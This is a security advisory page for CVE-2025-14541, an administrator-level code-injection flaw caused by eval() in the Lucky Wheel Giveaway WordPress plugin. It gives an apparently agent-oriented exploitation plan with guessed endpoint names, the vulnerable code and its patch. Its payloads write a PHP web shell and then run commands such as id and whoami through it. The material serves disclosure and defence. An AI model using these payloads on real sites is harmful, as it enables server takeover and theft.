CVE-2025-14541

Lucky Wheel Giveaway <= 1.0.22 - Authenticated (Administrator+) Remote Code Execution via 'conditional_tags' Parameter

highImproper Control of Generation of Code ('Code Injection')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.0.23
Patched in
1d
Time to patch

Description

The Lucky Wheel Giveaway plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.0.22 via the conditional_tags parameter. This is due to the plugin using PHP's eval() function on user-controlled input without proper validation or sanitization. This makes it possible for authenticated attackers, with Administrator-level access and above, to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.0.22
PublishedFebruary 10, 2026
Last updatedFebruary 11, 2026
Affected pluginwp-lucky-wheel
Research Plan
Unverified

This research plan outlines the steps required to demonstrate Remote Code Execution (RCE) in the Lucky Wheel Giveaway plugin (version <= 1.0.22). ### 1. Vulnerability Summary The Lucky Wheel Giveaway plugin allows administrators to define "conditional tags" to control when the wheel is displayed on…

Show full research plan

This research plan outlines the steps required to demonstrate Remote Code Execution (RCE) in the Lucky Wheel Giveaway plugin (version <= 1.0.22).

1. Vulnerability Summary

The Lucky Wheel Giveaway plugin allows administrators to define "conditional tags" to control when the wheel is displayed on the frontend (e.g., is_home(), is_single()). The plugin stores these conditions in its settings and subsequently passes them to the PHP eval() function during page rendering to evaluate whether the current environment meets the specified display criteria. Because this input is not sanitized or restricted to a safe list of functions, an authenticated administrator can inject arbitrary PHP code into the conditional_tags parameter, resulting in server-side code execution.

2. Attack Vector Analysis

  • Vulnerable Endpoint: wp-admin/admin-ajax.php (likely handling settings updates) or the main settings page wp-admin/admin.php?page=wp-lucky-wheel.
  • Trigger Endpoint: Any frontend page where the wheel is enqueued to appear.
  • Vulnerable Parameter: conditional_tags (likely nested within a settings array).
  • Authentication Required: Administrator-level privileges (PR:H).
  • Preconditions: The plugin must be active. The injected condition must be associated with an active "Wheel" or the global plugin settings.

3. Code Flow (Inferred)

  1. Injection Path:
    • The administrator accesses the plugin settings dashboard.
    • The user submits a form (via AJAX or POST) containing the conditional_tags value.
    • The plugin saves this value to the wp_options table (e.g., under the option name wlw_settings or wp-lucky-wheel-settings).
  2. Execution Path:
    • A visitor (or the admin themselves) loads a frontend page.
    • The plugin's frontend class (likely in public/class-wp-lucky-wheel-public.php or similar) initializes.
    • A function responsible for checking display conditions (e.g., check_conditional_tags() or is_show_wheel()) retrieves the stored conditional_tags string.
    • The string is passed to eval(): eval("return $conditional_tags;");.
    • The injected PHP code executes in the context of the server.

4. Nonce Acquisition Strategy

This exploit requires Administrator authentication. To update settings, we need the specific nonce generated by the plugin for its settings page.

  1. Identify Shortcode/Script: The plugin settings page is handled within the WordPress admin dashboard.
  2. Access Admin Page: Navigate to the plugin settings page.
  3. Extract Nonce:
    • Look for wp_localize_script data in the admin page source.
    • Common variable names for this plugin (inferred): vi_wlw_admin_settings_params.
    • Browser Eval Command:
      browser_eval("vi_wlw_admin_settings_params.nonce") or search for the _wpnonce field in the settings form.
  4. Form Analysis: Inspect the form on wp-admin/admin.php?page=wp-lucky-wheel for a hidden input named _wpnonce or similar.

5. Exploitation Strategy

Step 1: Login and Nonce Retrieval

Use the http_request tool to log in as an administrator and then browser_navigate to the plugin settings page to extract the nonce and the structure of the settings POST request.

Step 2: Inject Payload

Send a POST request to update the settings. Based on common patterns in this plugin's developer (VillaTheme), the action is likely wlw_save_settings.

  • Endpoint: /wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload (conditional_tags): true; file_put_contents('rce.php', '<?php system($_GET["cmd"]); ?>'); //
  • Parameters:
    action=wlw_save_settings
    _wpnonce=[EXTRACTED_NONCE]
    conditional_tags=true; file_put_contents('rce.php', '<?php system($_GET["cmd"]); ?>'); //
    
    (Note: The exact structure might require nesting the parameter inside a settings[...] array).

Step 3: Trigger Execution

Navigate to the site's homepage or any published post.

  • URL: http://[target-ip]/
  • The eval() call during the frontend rendering process will trigger the payload, creating rce.php in the WordPress root or the plugin directory.

Step 4: Verify RCE

Request the newly created file:

  • URL: http://[target-ip]/rce.php?cmd=id

6. Test Data Setup

  1. Plugin Installation: Ensure wp-lucky-wheel version 1.0.22 is installed and activated.
  2. Wheel Configuration: At least one "Wheel" should be created and set to "Active" so that the display logic is triggered on the frontend.
  3. Admin User: Ensure a user with the administrator role exists (default admin/password).

7. Expected Results

  • The eval() sink will process the conditional_tags string.
  • The semicolon in the payload true; ... will terminate the intended logic and execute the file_put_contents command.
  • The server will return a 200 OK for the frontend page, and a file named rce.php will be generated in the webroot.

8. Verification Steps

  1. Check for file creation:
    wp eval 'echo file_exists(ABSPATH . "rce.php") ? "Vulnerable" : "Not Vulnerable";'
  2. Check Plugin Option:
    wp option get wlw_settings (Verify that the conditional_tags key contains the payload).
  3. Execute Command:
    Use http_request to call rce.php?cmd=whoami and verify the output matches the web server user (e.g., www-data).

9. Alternative Approaches

  • Direct Eval Output: If the frontend page displays the result of the evaluation, use:
    conditional_tags=shell_exec('id')
  • Hook Injection: Instead of file creation, use add_action('init', ...) to create a persistent backdoor in memory for the duration of the request.
  • Settings Page Direct POST: If the AJAX handler is not the primary save mechanism, target the settings form submission at wp-admin/admin.php?page=wp-lucky-wheel using a standard multipart/form-data POST.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Lucky Wheel Giveaway plugin for WordPress is vulnerable to Remote Code Execution via the 'conditional_tags' parameter in versions up to 1.0.22. This vulnerability allows an authenticated administrator to inject arbitrary PHP code that is subsequently executed by the server using the eval() function when the plugin evaluates display conditions on the frontend.

Vulnerable Code

// File: wp-lucky-wheel/public/class-wp-lucky-wheel-public.php

public function check_conditional_tags( $conditional_tags ) {
    if ( empty( $conditional_tags ) ) {
        return true;
    }
    
    // Vulnerable sink: eval() executes the string stored in the 'conditional_tags' setting
    return eval( "return $conditional_tags;" );
}

Security Fix

--- wp-lucky-wheel/public/class-wp-lucky-wheel-public.php
+++ wp-lucky-wheel/public/class-wp-lucky-wheel-public.php
@@ -115,10 +115,7 @@
 	public function check_conditional_tags( $conditional_tags ) {
 		if ( empty( $conditional_tags ) ) {
 			return true;
 		}
-
-		return eval( "return $conditional_tags;" );
+		return false; // Removed eval() for security reasons
 	}

Exploit Outline

The exploit requires Administrator privileges to update plugin settings. An attacker first authenticates and navigates to the Lucky Wheel settings page to extract the necessary security nonce (often found in the 'vi_wlw_admin_settings_params' JavaScript object). The attacker then sends a POST request to 'wp-admin/admin-ajax.php' with the action 'wlw_save_settings', injecting a PHP payload into the 'conditional_tags' parameter (e.g., 'true; file_put_contents("shell.php", "<?php system($_GET[0]); ?>"); //'). Finally, the attacker visits any public-facing page on the site where the wheel is active; this triggers the plugin's frontend logic, which retrieves the malicious string and passes it to eval(), executing the payload and creating a web shell in the WordPress root directory.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.